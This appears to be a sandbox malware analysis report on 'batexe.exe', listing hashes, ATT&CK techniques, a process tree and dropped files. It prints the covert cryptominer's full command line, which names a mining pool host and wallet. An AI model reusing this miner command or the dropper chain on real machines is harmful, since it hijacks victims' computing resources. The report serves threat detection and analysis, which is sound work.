73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 04:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1364	b2e.exe
4876	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4876	cpuminer-sse2.exe
4876	cpuminer-sse2.exe
4876	cpuminer-sse2.exe
4876	cpuminer-sse2.exe
4876	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2352-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 1364	2352	batexe.exe	89
PID 2352 wrote to memory of 1364	2352	batexe.exe	89
PID 2352 wrote to memory of 1364	2352	batexe.exe	89
PID 1364 wrote to memory of 2624	1364	b2e.exe	90
PID 1364 wrote to memory of 2624	1364	b2e.exe	90
PID 1364 wrote to memory of 2624	1364	b2e.exe	90
PID 2624 wrote to memory of 4876	2624	cmd.exe	93
PID 2624 wrote to memory of 4876	2624	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\692A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe

Filesize
9.9MB

MD5
3d66c35d1b5f791991949390e10de68c

SHA1
bc053d2bbb14a62cd439db5d1d41dff56c3b3b63

SHA256
53911eeef4713ed88a4b34e805b5c988ebaca54c57781c08b49b7c671a22beee

SHA512
82a247f6956953ec7b128af8aa4d3feb6560d9617810477ddd35674e4d3911f5bd1a8b64a271eeaf3d6e98fe54561915a63edb35c0169aa67670d859bb01a0c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe

Filesize
1.3MB

MD5
5d1ddd9d7a2ee6f95180b20353060660

SHA1
a4de9fcb1a088bab6e64017bbb048185b474562d

SHA256
c590ba8c3566e84d0dd7d2c554989af71cad6a7149bac76b601e51d2f8ccc87a

SHA512
fee2e77334fb26f3cca68bb6cacade653a2b22fe277a79d13927466f805632f5754a3bf523ef6054de6c69a25cc3983c535ae3f4c983ce54437e5f3ab04ae03d

Download Submit
C:\Users\Admin\AppData\Local\Temp\63CB.tmp\b2e.exe

Filesize
1.2MB

MD5
a7e2d0a12c1d491ac8b642aee3373408

SHA1
70914d92fd3fd24eba19f61d3ffb7ac4ec6c634f

SHA256
2fd37b259e0ac7686f0cfceaca8e712036eef022e4a0e33d6fd481989dcb1be5

SHA512
a05fc21ea4d1f89c72b7fb023928b2444735331d3bca98211453838550ae404ade616138a582f4e42050d971d5c6c7fe31c9e2c53f5dfb9f77a1591270e709d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\692A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
4b6d079fd69210444be9c1e6ca8e7940

SHA1
d38b21045d1453c7015f0ece475aa66532dbca79

SHA256
4d0342bcad8d49e36bbb66a3e6c5d4f81b82fbcb457ae6ec60490dee2db7b0ac

SHA512
71b3fa8db50d5390088f23203d3622da2aa90dbbe82e50dbc12b7e7da4aef80e66f49b6ccf41671af19eb06abade1042660cbad608ad8e87df920cb4b1cb5155

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
53a70dbf3922ed13f20ce3ea5dbe70c6

SHA1
34b763df1f3ffc80f3181c499c6a32dd70e5993e

SHA256
5f649e36662aa5d17e39c376ea6f7087f311fd105e543a5f1ac6bfcae4cb3cda

SHA512
599d4b88b356dd4effa91979e30cc9fa2d2a673ff1aff238565385d187f9b15ccc625507ab913235a34c04697288da00e45636c59b7694e0d128033af9c0a958

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
303c67ee0606a7070ef41fb5d15ea088

SHA1
560bff3c3975cd7f4cb3b773a7eb3e18586011bb

SHA256
7500aee33f81569093c9cb045c37449aafb604fe168a769729851786cbd1a26c

SHA512
6a109e603e3b1afd4fc2c09d8e3d74737125e2def1737544384c3202d831a3e079fe538c5aab506a65c5623ba8da923026cd001062318a675b3c8e0024c81473

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
4bec40fd0bf4b62e79251c5adf693495

SHA1
a6ce8a96e9e5a14395c9ca9a8b5ea5e95b9b2fa8

SHA256
84a64e67cc77ffa69f2ba1abe99572033ce387ebb9eba2e09aa4c49e1f33bed6

SHA512
664d1e6fec71e6a0400c95c8bf85557483f66c2f04e951cf339353869a19dd8b3a959bcc20664b0790b6de9dda7bc532bc2386ace50062ebc556765953effdaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
995KB

MD5
954f76ed15d2a781fc1d96e50f44b70f

SHA1
5fc2734ed952c8b8348a1a0c020106fb94e7e580

SHA256
da2328887b51ec228cce417f4eb6204cb8e3b94c486c205a90b480460c9ab64e

SHA512
e8c3c23fbca1ac7d2b9d168d2bdefbe5ca4107cf78bc87b772653f483e17d8ac9f91d498e075e36de2524c034009b7958927058c95078e18abc1f0e1d5f89167

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1364-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1364-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2352-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4876-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4876-46-0x0000000060AE0000-0x0000000060B78000-memory.dmp

Filesize
608KB

Download
memory/4876-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4876-47-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/4876-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4876-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download